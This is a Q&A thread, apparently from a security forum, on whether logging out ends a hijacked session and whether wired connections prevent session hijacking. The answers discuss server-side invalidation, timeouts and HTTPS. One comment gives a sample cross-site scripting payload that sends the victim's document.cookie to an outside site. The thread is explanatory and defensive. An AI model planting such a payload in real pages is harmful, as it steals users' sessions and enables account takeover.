Suppose somebody hijacks my session , say using Firesheep. Then what happens if I logout, does the hijacked session also end ? Also, does using LAN wire instead of WiFi prevents session hijacking ?

  • What does lan wire and Wifi have to do with session hijacking? – Xatenev Jun 18 '14 at 21:29
  • on wifi everything is broadcasted to every connected computer, while ethernet directs the traffic to specific destination only – mht Jun 18 '14 at 21:31
  • And then? Session hijacking = you use the same session as your victim. How does LAN wire or wifi make a difference there?^^ – Xatenev Jun 18 '14 at 21:33
  • so session hijacking can be done on ethernet as well ? how does the attacker gets access to the session id / cookie ? – mht Jun 18 '14 at 21:36
  • Example: <script>window.location.href = 'yoursite.com?session='+document.cookie;</script> || Your victim clicks this link -> done. – Xatenev Jun 18 '14 at 21:38

That depends on the server-side code. If the server deletes the session ID associated with your user ID, then the attacker will also be logged out. If, for some braindead reason, the Server only deletes your cookie (by expiring it) or purges the ID from the URL, then the attacker can still use your session.

If the server is a distributed system, the deletion of your session ID may take a while to reach all systems.

If the attacker has used the session to change your login credentials or reveal your passwords, then logging out will do you no good and can shut you out. Secure systems always ask for the password before revealing/changing login credentials, but not every system is that secure ...


Then what happens if I Logout? Does the hijacked session also ends?

Well, it actually depends on the how the application is handling the sessions. Ideally, it MUST end the session once the user clicks the logout button. And, in order to minimize the time period an attacker can launch attacks over active sessions and hijack them, it is also mandatory to set expiration timeouts for every session.

Note: Here, ending the session simply means invalidating the Session ID on both sides (client side and server side). If you want to learn more about session management in web apps, I recommend reading this OWASP document.

Also, does using LAN wire instead of WiFi prevents session hijacking?

Again, that depends. If someone has access to your wireless router AND it is poorly configured, there is a chance that some can intercept the traffic and hijack the session (if the data is not transmitted over HTTPS). However, if the your data is being sent over SSL, it reduces the chances of data interception by a Man-In-The-Middle (MITM).

But an important thing to note here is that it is easier to hack into wireless network not because it broadcasts data (as you've mentioned in one of the comments). It is because the wireless is poorly configured (not been set up with proper encryption, password protection and MAC addressing). In fact, virtually, there's no difference in security of wireless and wired internet if the wireless network is configured properly (for example, using WPA2 and protected under a strong password). You can check this blog post for a detailed explanation.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.